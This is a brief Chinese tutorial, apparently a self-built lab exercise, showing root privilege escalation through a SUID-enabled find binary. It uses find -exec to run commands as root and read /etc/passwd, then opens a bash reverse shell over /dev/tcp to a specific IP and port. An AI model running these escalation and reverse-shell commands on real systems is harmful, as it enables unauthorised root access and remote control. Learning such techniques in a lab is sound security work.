SUID(Set User ID)是一种特殊的文件权限设置,它允许文件在执行时具有文件所有者的权限。当具有SUID权限的文件被执行时,执行该文件的用户会暂时获得文件所有者的权限。这种权限通常用于需要高权限操作的程序,如passwd、sudo等。SUID权限仅对可执行文件有效,且在文件执行结束后,用户的权限会恢复到原来的状态。
1.环境搭建
# 查看find位置
which find
# 查看find权限ls -al /usr/bin/find
# 查看具有suid权限的文件,发现没有find文件
find / -perm -u=s -type f 2>/dev/null
# 切换到root用户,赋予find文件suid权限
chmod u+s /usr/bin/find
2.提权
# 再次使用find命令查看具有suid权限的文件,发现有find文件
find / -perm -u=s -type f 2>/dev/null
# 使用find命令提权,发现是用root权限执行的whoami命令
find `which find` -exec whoami \;find `which find` -exec ls \;find `which find` -exec cat /etc/passwd \;# 命令解释: 以find 命令 执行 whoami 命令。
# find (一个路径或文件必须存在) -exec 执行命令 (结束)\;
3.反弹shell
# 开启监听
nc -lvvnp 6666
# 执行反弹shell命令
find /etc/passwd -exec bash -ip >& /dev/tcp/59.110.216.246/6666 0>&1 \;
好小子,离成功又进一步!!!